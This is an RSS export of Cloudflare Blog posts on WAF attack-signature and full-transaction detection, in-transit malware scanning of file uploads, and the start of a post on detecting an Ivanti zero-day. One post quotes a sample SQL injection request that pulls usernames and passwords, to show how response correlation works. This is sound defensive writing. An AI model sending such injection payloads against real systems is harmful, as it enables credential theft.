
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/">
    <channel>
        <title><![CDATA[ The Cloudflare Blog ]]></title>
        <description><![CDATA[ Get the latest news on how products at Cloudflare are built, technologies used, and join the teams helping to build a better Internet. ]]></description>
        <link>https://blog.cloudflare.com</link>
        <atom:link href="https://blog.cloudflare.com/" rel="self" type="application/rss+xml"/>
        <language>en-us</language>
        <image>
            <url>https://blog.cloudflare.com/favicon.png</url>
            <title>The Cloudflare Blog</title>
            <link>https://blog.cloudflare.com</link>
        </image>
        <lastBuildDate>Sat, 04 Apr 2026 16:02:44 GMT</lastBuildDate>
        <item>
            <title><![CDATA[Always-on detections: eliminating the WAF “log versus block” trade-off]]></title>
            <link>https://blog.cloudflare.com/attack-signature-detection/</link>
            <pubDate>Wed, 04 Mar 2026 15:00:00 GMT</pubDate>
            <description><![CDATA[ Cloudflare is introducing Attack Signature Detection and Full-Transaction Detection to provide continuous, high-fidelity security insights without the manual tuning of traditional WAFs. By correlating request payloads with server responses, we can now identify successful exploits and data exfiltration while minimizing false positives. ]]></description>
            <content:encoded><![CDATA[ <p>Traditional Web Application Firewalls typically require extensive, manual tuning of their rules before they can safely block malicious traffic. When a new application is deployed, security teams usually begin in a logging-only mode, sifting through logs to gradually assess which rules are safe for blocking mode. This process is designed to minimize false positives without affecting legitimate traffic. It’s manual, slow and error-prone.</p><p>Teams are forced into a trade-off: visibility in log mode, or protection in block mode. When a rule blocks a request, evaluation stops, and you lose visibility into how other signatures would have assessed it — valuable insight that could have helped you tune and strengthen your defenses.</p><p>Today, we’re solving this by introducing the next evolution of our managed rules: Attack Signature Detection.</p><p>When enabled, this detection inspects every request for malicious payloads and attaches rich detection metadata before any action is taken. You get complete visibility into every signature match, without sacrificing protection or performance. Onboarding becomes simple: traffic is analyzed, data accumulates, and you see exactly which signatures fire and why. You can then build precise mitigation policies based on past traffic, reducing the risk of false positives.</p><p>But we’re going one step further. We’re moving beyond request-only analysis to something far more powerful: Full-Transaction Detection.</p><p>Instead of looking at just the incoming request, this new detection correlates the entire HTTP transaction: request and response. By analyzing the full context, we dramatically reduce false positives compared to traditional request-only signature engines. More importantly, we uncover threats others miss, such as reflective SQL injection, subtle data exfiltration patterns, and dangerous misconfigurations that only reveal themselves in the response. </p><p>Attack Signature Detection is available now in Early Access — <a href="https://www.cloudflare.com/lp/attack-detection/"><u>sign up here</u></a> to express interest. Full-Transaction Detection is under development; <a href="https://www.cloudflare.com/lp/full-transaction-detection/"><u>register here</u></a> to be among the first to try it when it’s ready.</p>
    <div>
      <h2>The always-on framework</h2>
      <a href="#the-always-on-framework">
        
      </a>
    </div>
    <p>To provide full visibility on your traffic without slowing down the Internet, we had to change how we think about the request lifecycle. For customers who opt in, Attack Signature detection is now "always on." This means that as soon as traffic is proxied, all detection signatures are executed on every request, and the results are immediately visible in Security Analytics.</p><p>This "always-on" framework separates detection from mitigation. Detections run continuously, enriching analytics with metadata about triggered detections. This metadata is also added to the request as a new field, which customers can use to create custom policies within security rules. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/Vx8m4KODWR1lqusEdBtUj/8339eea7b73eb79bae416ef7fe01b60b/image9.png" />
          </figure><p><sup><i>Separating the detection of malicious payloads from the actions taken by security rules is the core of the always-on framework. This approach enhances the analytics experience and increases confidence when deploying new protections.</i></sup></p><p>Our existing Bot Score and Attack Score detections already follow this method. Attack Signature Detection provides the same coverage as our Managed Rules product but operates within this new framework.</p><p>Does this introduce additional latency to the request? No — this model is designed for efficiency. If a customer has not created a blocking rule based on a detection, the detection can be executed <i>after</i> the request has been sent to the origin server, ensuring that the detection itself introduces no additional latency to the traffic. Therefore, upon onboarding, the detection is enabled by default but does not impact traffic performance. When a rule is created, the detection is moved in-line with the request that might experience additional latency. The exact value depends on the traffic profile of the application. </p>
    <div>
      <h2>Attack Signature Detection</h2>
      <a href="#attack-signature-detection">
        
      </a>
    </div>
    <p>Compared to traditional, rule-based systems like the Cloudflare Managed Ruleset, the new detection offers a substantial advancement in web application security. This approach makes identifying malicious web payloads and deploying security rules significantly more user-friendly.</p><p>The Cloudflare Managed Ruleset is where our analyst team develops detections for common attack vectors, including <a href="https://www.cloudflare.com/learning/security/threats/sql-injection/"><u>SQL injection (SQLi)</u></a>, <a href="https://www.cloudflare.com/learning/security/threats/cross-site-scripting/"><u>Cross Site Scripting (XSS)</u></a>, <a href="https://www.cloudflare.com/learning/security/what-is-remote-code-execution/"><u>Remote Code Execution (RCE)</u></a>, and specific Common Vulnerabilities and Exposures (CVEs). Analysts typically release new rules weekly, with emergency releases deployed for high-profile vulnerabilities (such as the recent <a href="https://react2shell.com/"><u>React2Shell</u></a> <a href="https://blog.cloudflare.com/waf-rules-react-vulnerability/"><u>release</u></a>). Currently, over 700 managed rules are active in our Managed Ruleset. The new detections are also known as <i>signature rules</i> or simply <i>signatures</i>. They employ the same heuristics as Managed Rules but do not directly apply actions to traffic.</p><p>Each signature is uniquely identified by a Ref ID (similar to the Rule ID for the Managed Ruleset) and is tagged with both <i>category</i> and <i>confidence</i>. The category specifies the attack vectors the signature targets, while the confidence level indicates the likelihood of a false positive (a trigger on legitimate traffic). A rule can have only one confidence level but may have multiple categories. </p><p>Category indicates what attack vector the rule refers to. The list of categories is long, but includes tags like SQLi, XSS, RCE or specific CVE with its number.</p><p>The confidence field is divided into two values, based on whether at least one signature from the corresponding group matches the traffic.</p><table><tr><td><p><b>Confidence</b></p></td><td><p><b>Description</b></p></td></tr><tr><td><p>High</p></td><td><p>These signatures aim for high true positives and low false positives, typical for CVEs where payloads are identifiable without blocking legitimate traffic. They function like the Managed Ruleset’s default configuration.</p></td></tr><tr><td><p>Medium</p></td><td><p>These signatures, which are turned off by default in the Managed Ruleset, may cause false positives based on your traffic. Before blocking traffic matching these rules, assess their potential application impact.</p></td></tr></table><p>
The detection's analysis of a request populates three fields. These fields are accessible in Security Analytics and Edge Rules Engine, our core engine for Security Rules.</p><table><tr><td><p>Field</p></td><td><p>Description</p></td><td><p>Where can be used</p></td></tr><tr><td><p><code>cf.waf.signature.request.</code><code><b>confidence</b></code></p></td><td><p>Array. Aggregate the confidence scores associated with the matching signatures.</p></td><td><p>Analytics and Security Rules</p></td></tr><tr><td><p><code>cf.waf.signature.request.</code><code><b>categories</b></code></p></td><td><p>Array. Aggregate the categories associated with the matching signatures.</p></td><td><p>Analytics and Security Rules</p></td></tr><tr><td><p><code>cf.waf.signature.request.</code><code><b>ref</b></code></p></td><td><p>Array. Aggregates the Ref IDs of the matching signatures, up to 10.</p></td><td><p>Analytics and Security Rules</p></td></tr></table>
    <div>
      <h3>Analyzing your data in Security Analytics</h3>
      <a href="#analyzing-your-data-in-security-analytics">
        
      </a>
    </div>
    <p>Security Analytics is at the core of the Cloudflare Application Security toolbox, providing a comprehensive, data-driven view of how signatures interact with your web traffic. It gives you the tools necessary to understand, measure, and optimize your web protection. Common use cases for combining Analytics with signatures include: design a security posture during the onboarding process, verify the most frequent attack attempts and create exceptions to handle false positives.</p><p>Once a new application is proxied through Cloudflare, Attack Signature Detection begins populating your dashboard with data. The initial step is to examine the aggregated matches, categorized by type and signature, to confirm that all potential attacks are being blocked. Analysts can do this by reviewing the top statistics for signatures, filtering the data to show whether requests were blocked, served from the cache, or permitted to reach the origin server. If any malicious requests are found to have reached the origin, analysts can quickly implement security rules. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/Flwiq3kVd2vHnIT7w30Op/2c9564f636b5e1169228711cd7ff5c15/image6.png" />
          </figure><p><sup><i>A breakdown of the total request volume matching attack signatures, categorized by their corresponding Category or Signature.</i></sup></p><p>Analytics provides insights into attack patterns, such as the most frequent CVEs based on traffic volume over time. This capability is designed for quickly identifying the dominant attack payloads targeting applications and verifying the efficacy of current protections against related CVEs. For example, analysts can monitor the attack frequency targeting a specific part of the application, like <code>/api/</code>, or confirm if known malicious payloads, such as React2Shell, are reaching a particular endpoint, such as the <code>POST /_next/</code> Node.js path. Both the Analytics filters and the Attack Analysis tool can be used to perform this type of investigation.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/PswhIBA7AXI5y6BaH4Rq6/aafe3e2f272d8077ed1454066600da51/image5.png" />
          </figure><p><sup><i>A visualization within Security Analytics offers a time-series view of malicious payloads targeting the /api/ endpoint. This view groups the data to highlight the top five CVEs by volume.</i></sup></p><p>Analytics also help create exceptions and identifying false positives. An increase in matches for a specific rule, for instance, may suggest false positives rather than active exploitation. For example, an application that allows users to submit rich HTML content (such as a Content Management Systems or support ticketing system) may legitimately include markup that matches more generic XSS signatures. In these cases, a scoped exception can be applied to the affected endpoint, while keeping the protection enabled across the rest of the application. </p><p>This approach is especially useful for evaluating medium-confidence signatures, which balance aggressive blocking with false-positive risk. The tool allows "what-if" scenarios against historical traffic to empirically determine production performance. This process helps determine if a medium-confidence signature is appropriate for the overall traffic profile, or if a high rate of false positives requires limiting its deployment to specific URLs or request types. </p><p>Generally, signatures that have a very low match rate on historical traffic can be more safely deployed in block mode without significant disruption to legitimate traffic. To achieve this level of confidence, Security Analytics provides the tools for in-depth forensics investigations.</p><p>Beyond immediate detection, a crucial aspect of defense management is the ability to customize your security posture. The user interface offers a searchable catalog of all security signatures, allowing you to browse the full list and understand the specific threat each is designed to address. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6enXCjehRa8ibfhOoUfnRv/330231e1e7cc96cb1450f0f450d33aab/Screenshot_2026-03-04_at_17.17.59.png" />
          </figure><p><sup><i>A searchable catalog of signatures is available, providing more detail on critical detections to help customers understand the threats and the remediation actions.</i></sup></p>
    <div>
      <h3>Creating security rules</h3>
      <a href="#creating-security-rules">
        
      </a>
    </div>
    <p>After analyzing your data and establishing confidence in how the signatures performed against your past traffic, you can easily create custom rules to handle traffic based on the detections. For example, if you want to create a policy that blocks requests matching high confidence signatures you can create the following rule:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/55sYmYsoMh9effxtmxG65j/2ca91e74188ad69a908b5ae69571225c/image1.png" />
          </figure><p><sup><i>Creating a rule to block requests matching with high confidence signatures.</i></sup></p><p>This is equivalent to the Cloudflare Managed Ruleset default deployment.</p><p>If you want to block all requests matching at least one rule, you will add the Medium confidence tag. This is equivalent to enabling all rules of Cloudflare Managed Ruleset. Alternatively, you can configure multiple rules, applying a more stringent action (like "Block") for detections with High confidence and a less strict action (such as "Challenge") for those with Medium confidence.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3JhVPtrx2ZRhsNgRQHCaLc/ca3f597d8b794fd5a2eb1ddfc1362288/image8.png" />
          </figure><p><sup><i>By selecting both High and Medium confidence you can trigger a rule if any signature matches.</i></sup></p><p>To create a rule blocking a specific CVE or attack vector, you will use Categories. The rule builder allows you to combine attack vector category tags with all existing HTTP request data. This enables you to create granular rules (or exceptions) and tailor your security posture to different parts of your application. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/wEf21sGlDdKkO7Mgt1pVn/01bd915ae33d931ca33bd0b2d04fc9e8/image7.png" />
          </figure><p><sup><i>Customers can create rules to block (or allow) requests matching specific CVEs or attack categories.</i></sup></p><p>To create rules based on a specific Signature, you can use Ref ID. You can find the right Ref ID within the rule builder by exploring the available Attack Signature rules. This is especially useful if you want to create exceptions to manage false positives.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1LQ93vHMecuHS8xNbL0RTz/b805072b739f1ded6f4383c13f2cfb5a/image3.png" />
          </figure><p><sup><i>Customers can browse signature rules directly from the rule builder.</i></sup></p>
    <div>
      <h3>What happens to Cloudflare Managed Ruleset?</h3>
      <a href="#what-happens-to-cloudflare-managed-ruleset">
        
      </a>
    </div>
    <p>All customers continue to have access to our classic Managed Ruleset. When Attack Signature Detection is broadly available, customers will be able to choose the deployment model that best suits their needs, whether that is Attack Signature Detection or Managed Rules. Our analyst teams ensure that new detections are released simultaneously across both the Managed Ruleset and Attack Signature Detection.</p>
    <div>
      <h2>Full-Transaction Detection</h2>
      <a href="#full-transaction-detection">
        
      </a>
    </div>
    <p>Traditional web attack detection primarily focuses on the "ask": the HTTP request. However, the request only tells half the story. To know if an attack actually succeeded, you have to look at the "answer": the HTTP response.</p><p>By combining request and response metadata into a single detection event, we can dramatically reduce false positives and identify successful exploits that request-only systems miss.</p><p>For example, consider a request containing a common SQL injection string in a query parameter.</p><blockquote><p><code>GET /user?id=1' UNION SELECT username, password FROM users--</code></p></blockquote><p>A traditional WAF will see the <code>UNION SELECT</code> pattern and block it. However, if the application isn't actually vulnerable, this might be a false positive — for instance a security researcher testing their own site.</p><p>With Full-Transaction Detection, the system notes the SQLi signature in the request but waits for the response. If the origin responds with a <code>500 Internal Server Error</code> or a standard <code>404</code>, the confidence of a "successful exploit" is low. If the origin responds with a <code>200 OK</code> and a body containing a string that matches a "sensitive data" signature (like a list of usernames), the system flags a Successful Exploit Confirmation.</p><p>To start, we are rolling out a few detection categories and plan to expand this list over time. Here are the three areas we are currently focused on, and some of the flags you’ll see:</p><ul><li><p><b>Exploit attempts. </b>The detection provides web attack detections by inspecting the entire HTTP request-to-response cycle. It focuses on three key areas: identifying input exploitation like XSS and SQLi via malicious signatures, stopping automated abuse such as vulnerability probing, and confirming successful exploits by correlating suspicious requests with unusual server responses.</p></li></ul><ul><li><p><b>Data exposure and exfiltration signals. </b>This framework also allows us to catch data exfiltration that looks like legitimate traffic on the way in. A request for /api/v1/export is a standard administrative action. But if that specific request triggers a response containing 5,000 credit card numbers (for example identified via Luhn algorithm signatures), the transaction is flagged as Data Exposure. </p></li></ul><ul><li><p><b>Misconfigurations. </b>Exposed admin interfaces are often attack vectors. Traditional security checks miss this misconfiguration because the traffic itself looks valid (real endpoints or admin pages). The issue isn't the traffic but its public accessibility. We prioritize detection based on common real-world misconfigurations seen in customer data, such as public unauthenticated Elasticsearch clusters, Internet reachable admin panels, and exposed Apache sensitive endpoints.</p></li></ul><p>The detection, much like Attack Signatures, will store the results in two specific fields. These fields are accessible in our dashboard and logged within Security Analytics.</p><table><tr><td><p>Field</p></td><td><p>Description</p></td><td><p>Where can be used</p></td></tr><tr><td><p><code>cf.waf.signature.response.</code><code><b>categories</b></code></p></td><td><p>Array. Aggregate the categories associated with the matching signatures.</p></td><td><p>Security Analytics </p></td></tr><tr><td><p><code>cf.waf.signature.response.</code><code><b>ref</b></code></p></td><td><p>Array. Aggregates the Ref IDs of the matching signatures, up to 10.</p></td><td><p>Security Analytics </p></td></tr></table><p>Initially, we are focused on offering visibility into matching requests via analytics. By surfacing events on potential exploits, we provide customers information that can be used for incident response through targeted remediations across their infrastructure and software stack. Our future plans include extending Security Rules to the response phase, which will empower customers to block responses based on these detections by allowing policy creation.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3uUoiHlxC6qEjBNU1AA5Rg/1402f5be8f412443cf3b9ff39e8d0700/image4.png" />
          </figure><p><sup><i>A diagram illustrating the execution locations and corresponding populated fields for both Attack Signature Detection and Full-Transaction Detection.</i></sup></p>
    <div>
      <h2>Sign up to get access</h2>
      <a href="#sign-up-to-get-access">
        
      </a>
    </div>
    <p>Attack Signature detection is in Early Access while Full-Transaction Detection is under development. <a href="https://www.cloudflare.com/lp/attack-detection"><u>Sign up here</u></a> to get access to Attack Signature, and <a href="https://www.cloudflare.com/lp/full-transaction-detection/"><u>here to express interest</u></a> for Full-Transaction. We’ll gather feedback in the coming months as we prepare these features for General Availability.</p> ]]></content:encoded>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[WAF Rules]]></category>
            <category><![CDATA[Managed Rules]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Security Analytics]]></category>
            <guid isPermaLink="false">1oOFMFJ55pkBU09IKiw8fm</guid>
            <dc:creator>Daniele Molteni</dc:creator>
        </item>
        <item>
            <title><![CDATA[General availability for WAF Content Scanning for file malware protection]]></title>
            <link>https://blog.cloudflare.com/waf-content-scanning-for-malware-detection/</link>
            <pubDate>Thu, 07 Mar 2024 14:00:14 GMT</pubDate>
            <description><![CDATA[ Announcing the General Availability of WAF Content Scanning, protecting your web applications and APIs from malware by scanning files in-transit ]]></description>
            <content:encoded><![CDATA[ 
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6Kt17OxA0rO7EXenzZGJXf/b2410be6e9de67c10ee488c6c23ac60d/TXqgLUZ0L11n0fBPaEzi9DYuGJ_QGmAxLbfS9xKb6c_N9nBhFQhsQ4TsJ7kU82ADmgLjkM6EWmZXDBO_5OX4urYAeca428kjsFf2MM8RWBUsNtkg0gEO75D-brm4.png" />
            
            </figure><p>File upload is a common feature in many web applications. Applications may allow users to upload files like images of flood damage to file an insurance claim, PDFs like resumes or cover letters to apply for a job, or other documents like receipts or income statements. However, beneath the convenience lies a potential threat, since allowing unrestricted file uploads can expose the web server and your enterprise network to significant risks related to <a href="https://www.cloudflare.com/network-services/solutions/enterprise-network-security/">security</a>, privacy, and compliance.</p><p>Cloudflare recently introduced <a href="/waf-content-scanning/">WAF Content Scanning</a>, our in-line <a href="https://www.cloudflare.com/application-services/solutions/">malware file detection and prevention solution</a> to stop malicious files from reaching the web server, offering our Enterprise WAF customers an additional line of defense against security threats.</p><p>Today, we're pleased to announce that the feature is now generally available. It will be automatically rolled out to existing WAF Content Scanning customers before the end of March 2024.</p><p>In this blog post we will share more details about the new version of the feature, what we have improved, and reveal some of the technical challenges we faced while building it. This feature is available to Enterprise WAF customers as an add-on license, contact your account team to get it.</p>
    <div>
      <h2>What to expect from the new version?</h2>
      <a href="#what-to-expect-from-the-new-version">
        
      </a>
    </div>
    <p>The feedback from the early access version has resulted in additional improvements. The main one is expanding the maximum size of scanned files from 1 MB to 15 MB. This change required a complete redesign of the solution's architecture and implementation. Additionally, we are improving the dashboard visibility and the overall analytics experience.</p><p>Let's quickly review how malware scanning operates within our WAF.</p>
    <div>
      <h2>Behind the scenes</h2>
      <a href="#behind-the-scenes">
        
      </a>
    </div>
    <p>WAF Content Scanning operates in a few stages: users activate and configure it, then the scanning engine detects which requests contain files, the files are sent to the scanner returning the scan result fields, and finally users can build custom rules with these fields. We will dig deeper into each step in this section.</p>
    <div>
      <h3>Activate and configure</h3>
      <a href="#activate-and-configure">
        
      </a>
    </div>
    <p>Customers can enable the feature via the <a href="https://developers.cloudflare.com/waf/about/content-scanning/api-calls/#enable-waf-content-scanning">API</a>, or through the Settings page in the dashboard (Security → Settings) where a new section has been added for <a href="https://developers.cloudflare.com/waf/about/#detection-versus-mitigation">incoming traffic detection</a> configuration and enablement. As soon as this action is taken, the enablement action gets distributed to the Cloudflare network and begins scanning incoming traffic.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/33blcVizOJx9iZiSqAzX3Y/5bdd6e83500ebf66d842a92854515b4e/image1-27.png" />
            
            </figure><p>Customers can also add a <a href="https://developers.cloudflare.com/waf/about/content-scanning/#2-optional-configure-a-custom-scan-expression">custom configuration</a> depending on the file upload method, such as a base64 encoded file in a JSON string, which allows the specified file to be parsed and scanned automatically.</p><p>In the example below, the customer wants us to look at JSON bodies for the key “file” and scan them.</p><p>This rule is written using the <a href="https://developers.cloudflare.com/ruleset-engine/rules-language/">wirefilter syntax</a>.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2bZfebbWfiQfchZpKJv75q/6088e2458deff944c3965647be3249ef/Scanning-all-incoming-requests-for-file-malware.png" />
            
            </figure>
    <div>
      <h3>Engine runs on traffic and scans the content</h3>
      <a href="#engine-runs-on-traffic-and-scans-the-content">
        
      </a>
    </div>
    <p>As soon as the feature is activated and configured, the scanning engine runs the pre-scanning logic, and identifies content automatically via heuristics. In this case, the engine logic does not rely on the <i>Content-Type</i> header, as it’s easy for attackers to manipulate. When relevant content or a file has been found**,** the engine connects to the <a href="https://developers.cloudflare.com/cloudflare-one/policies/gateway/http-policies/antivirus-scanning/">antivirus (AV) scanner</a> in our <a href="https://www.cloudflare.com/zero-trust/solutions/">Zero Trust solution</a> to perform a thorough analysis and return the results of the scan. The engine uses the scan results to propagate useful fields that customers can use.</p>
    <div>
      <h3>Integrate with WAF</h3>
      <a href="#integrate-with-waf">
        
      </a>
    </div>
    <p>For every request where a file is found, the scanning engine returns various <a href="https://developers.cloudflare.com/waf/about/content-scanning/#content-scanning-fields">fields</a>, including:</p>
            <pre><code>cf.waf.content_scan.has_malicious_obj,
cf.waf.content_scan.obj_sizes,
cf.waf.content_scan.obj_types, 
cf.waf.content_scan.obj_results</code></pre>
            <p>The scanning engine integrates with the WAF where customers can use those fields to <a href="https://developers.cloudflare.com/waf/custom-rules/">create custom WAF rules</a> to address various use cases. The basic use case is primarily blocking malicious files from reaching the web server. However, customers can construct more complex logic, such as enforcing constraints on parameters such as file sizes, file types, endpoints, or specific paths.</p>
    <div>
      <h2>In-line scanning limitations and file types</h2>
      <a href="#in-line-scanning-limitations-and-file-types">
        
      </a>
    </div>
    <p>One question that often comes up is about the file types we detect and scan in WAF Content Scanning. Initially, addressing this query posed a challenge since HTTP requests do not have a definition of a “file”, and scanning all incoming HTTP requests does not make sense as it adds extra processing and latency. So, we had to decide on a definition to spot HTTP requests that include files, or as we call it, “uploaded content”.</p><p>The WAF Content Scanning engine makes that decision by filtering out certain content types identified by heuristics. Any content types not included in a predefined list, such as <code>text/html</code>, <code>text/x-shellscript</code>, <code>application/json</code>, and <code>text/xml</code>, are considered uploaded content and are sent to the scanner for examination. This allows us to scan a <a href="https://crates.io/crates/infer#supported-types">wide range</a> of content types and file types without affecting the performance of all requests by adding extra processing. The wide range of files we scan includes:</p><ul><li><p>Executable (e.g., <code>.exe</code>, <code>.dll</code>, <code>.wasm</code>)</p></li><li><p>Documents (e.g., <code>.doc</code>, <code>.docx</code>, <code>.pdf</code>, <code>.ppt</code>, <code>.xls</code>)</p></li><li><p>Compressed (e.g., <code>.7z</code>, <code>.gz</code>, <code>.zip</code>, <code>.rar</code>)</p></li><li><p>Image (e.g., <code>.jpg</code>, <code>.png</code>, <code>.gif</code>, <code>.webp</code>, <code>.tif</code>)</p></li><li><p>Video and audio files within the 15 MB file size range.</p></li></ul><p>The file size scanning limit of 15 Megabytes comes from the fact that the in-line file scanning as a feature is running in real time, which offers safety to the web server and instant access to clean files, but also impacts the whole request delivery process. Therefore, it’s crucial to scan the payload without causing significant delays or interruptions; namely increased CPU time and latency.</p>
    <div>
      <h2>Scaling the scanning process to 15 MB</h2>
      <a href="#scaling-the-scanning-process-to-15-mb">
        
      </a>
    </div>
    <p>In the early design of the product, we built a system that could handle requests with a maximum body size of 1 MB, and increasing the limit to 15 MB had to happen without adding any extra latency. As mentioned, this latency is not added to all requests, but only to the requests that have uploaded content. However, increasing the size with the same design would have increased the latency by 15x for those requests.</p><p>In this section, we discuss how we previously managed scanning files embedded in JSON request bodies within the former architecture as an example, and why it was challenging to expand the file size using the same design, then compare the same example with the changes made in the new release to overcome the extra latency in details.</p>
    <div>
      <h3>Old architecture used for the Early Access release</h3>
      <a href="#old-architecture-used-for-the-early-access-release">
        
      </a>
    </div>
    <p>In order for customers to use the content scanning functionality in scanning files embedded in JSON request bodies, they had to configure a rule like:</p>
            <pre><code>lookup_json_string(http.request.body.raw, “file”)</code></pre>
            <p>This means we should look in the request body but only for the “file” key, which in the image below contains a base64 encoded string for an image.</p><p>When the request hits our Front Line (FL) NGINX proxy, we buffer the request body. This will be in an in-memory buffer, or written to a temporary file if the size of the request body exceeds the NGINX configuration of <a href="https://nginx.org/en/docs/http/ngx_http_core_module.html#client_body_buffer_size">client_body_buffer_size</a>. Then, our WAF engine executes the lookup_json_string function and returns the base64 string which is the content of the file key. The base64 string gets sent via Unix Domain Sockets to our malware scanner, which does MIME type detection and returns a verdict to the file upload scanning module.</p><p>This architecture had a bottleneck that made it hard to expand on: the expensive latency fees we had to pay. The request body is first buffered in NGINX and then copied into our WAF engine, where rules are executed. The malware scanner will then receive the execution result — which, in the worst scenario, is the entire request body — over a Unix domain socket. This indicates that once NGINX buffers the request body, we send and buffer it in two other services.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2OZumKn4Bar00t8BxfPuz6/bf2ffb663817b3092dccc2acd2701374/Screenshot-2024-03-07-at-12.31.52.png" />
            
            </figure>
    <div>
      <h3>New architecture for the General Availability release</h3>
      <a href="#new-architecture-for-the-general-availability-release">
        
      </a>
    </div>
    <p>In the new design, the requirements were to scan larger files (15x larger) while not compromising on performance. To achieve this, we decided to bypass our WAF engine, which is where we introduced the most latency.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3e2jggqBgIMdZaAwQPkiq9/01f31f022d7ef735cdb536041a28f25b/Screenshot-2024-03-07-at-12.32.42.png" />
            
            </figure><p>In the new architecture, we made the malware scanner aware of what is needed to execute the rule, hence bypassing the Ruleset Engine (RE). For example, the configuration “lookup_json_string(http.request.body.raw, “file”)”, will be represented roughly as:</p>
            <pre><code>{
   Function: lookup_json_string
   Args: [“file”]
}</code></pre>
            <p>This is achieved by walking the <a href="https://en.wikipedia.org/wiki/Abstract_syntax_tree">Abstract Syntax Tree</a> (AST) when the rule is configured, and deploying the sample struct above to our global network. The struct’s values will be read by the malware scanner, and rule execution and malware detection will happen within the same service. This means we don’t need to read the request body, execute the rule in the Ruleset Engine (RE) module, and then send the results over to the malware scanner.</p><p>The malware scanner will now read the request body from the temporary file directly, perform the rule execution, and return the verdict to the file upload scanning module.</p><p>The file upload scanning module populates these <a href="https://developers.cloudflare.com/waf/about/content-scanning/#content-scanning-fields">fields</a>, so they can be used to write custom rules and take actions. For example:</p>
            <pre><code>all(cf.waf.content_scan.obj_results[*] == "clean")</code></pre>
            <p>This module also enriches our logging pipelines with these fields, which can then be read in <a href="https://developers.cloudflare.com/logs/about/">Log Push</a>, <a href="https://developers.cloudflare.com/logs/edge-log-delivery/">Edge Log Delivery</a>, Security Analytics, and Firewall Events in the dashboard. For example, this is the security log in the Cloudflare dashboard (Security → Analytics) for a web request that triggered WAF Content Scanning:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2XGS4YhMjcm2rLRg9znwVr/9f1e5dcd67808f3bba13b80296a1aa42/image5-15.png" />
            
            </figure>
    <div>
      <h2>WAF content scanning detection visibility</h2>
      <a href="#waf-content-scanning-detection-visibility">
        
      </a>
    </div>
    <p>Using the concept of incoming traffic detection, WAF Content Scanning enables users to identify hidden risks through their traffic signals in the analytics before blocking or mitigating matching requests. This reduces false positives and permits security teams to make decisions based on well-informed data. Actually, this isn't the only instance in which we apply this idea, as we also do it for a number of other products, like WAF Attack Score and Bot Management.</p><p>We have integrated helpful information into our security products, like Security Analytics, to provide this data visibility. The <b>Content Scanning</b> tab, located on the right sidebar, displays traffic patterns even if there were no WAF rules in place. The same data is also reflected in the sampled requests, and you can create new rules from the same view.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6M1QR4dFLFsv0sG8xQ7ezj/83ec1b533b3b2c490451d6624685a26b/image7-4.png" />
            
            </figure><p>On the other hand, if you want to fine-tune your security settings, you will see better visibility in Security Events, where these are the requests that match specific rules you have created in WAF.</p><p>Last but not least, in our <a href="https://developers.cloudflare.com/logs/reference/log-fields/zone/http_requests/">Logpush</a> datastream, we have included the scan fields that can be selected to send to any external log handler.</p>
    <div>
      <h2>What’s next?</h2>
      <a href="#whats-next">
        
      </a>
    </div>
    <p>Before the end of March 2024, all current and new customers who have enabled WAF Content Scanning will be able to scan uploaded files up to 15 MB. Next, we'll focus on improving how we handle files in the rules, including adding a dynamic header functionality. Quarantining files is also another important feature we will be adding in the future. If you're an Enterprise customer, reach out to your account team for more information and to get access.</p> ]]></content:encoded>
            <category><![CDATA[Security Week]]></category>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[WAF Rules]]></category>
            <category><![CDATA[Content Scanning]]></category>
            <category><![CDATA[Product News]]></category>
            <category><![CDATA[General Availability]]></category>
            <category><![CDATA[Anti Malware]]></category>
            <guid isPermaLink="false">018GZnJIhpYLWge6uKNfnd</guid>
            <dc:creator>Radwa Radwan</dc:creator>
            <dc:creator>Paschal Obba</dc:creator>
            <dc:creator>Shreya Shetty</dc:creator>
        </item>
        <item>
            <title><![CDATA[How Cloudflare’s AI WAF proactively detected the Ivanti Connect Secure critical zero-day vulnerability]]></title>
            <link>https://blog.cloudflare.com/how-cloudflares-ai-waf-proactively-detected-ivanti-connect-secure-critical-zero-day-vulnerability/</link>
            <pubDate>Tue, 23 Jan 2024 14:00:48 GMT</pubDate>
            <description><![CDATA[ The issuance of Emergency Rules by Cloudflare on January 17, 2024, helped give customers a big advantage in dealing with these threats ]]></description>
            <content:encoded><![CDATA[ <p></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3RS6SAVZIQdSxkFz8zjeDM/77bd1b148c86f29e3d9d96e300bdf415/image1-2.png" />
            
            </figure><p>Most WAF providers rely on reactive methods, responding to vulnerabilities after they have been discovered and exploited. However, we believe in proactively addressing potential risks, and using AI to achieve this. Today we are sharing a recent example of a critical vulnerability (CVE-2023-46805 and CVE-2024-21887) and how Cloudflare's Attack Score powered by AI, and Emergency Rules in the WAF have countered this threat.</p>
    <div>
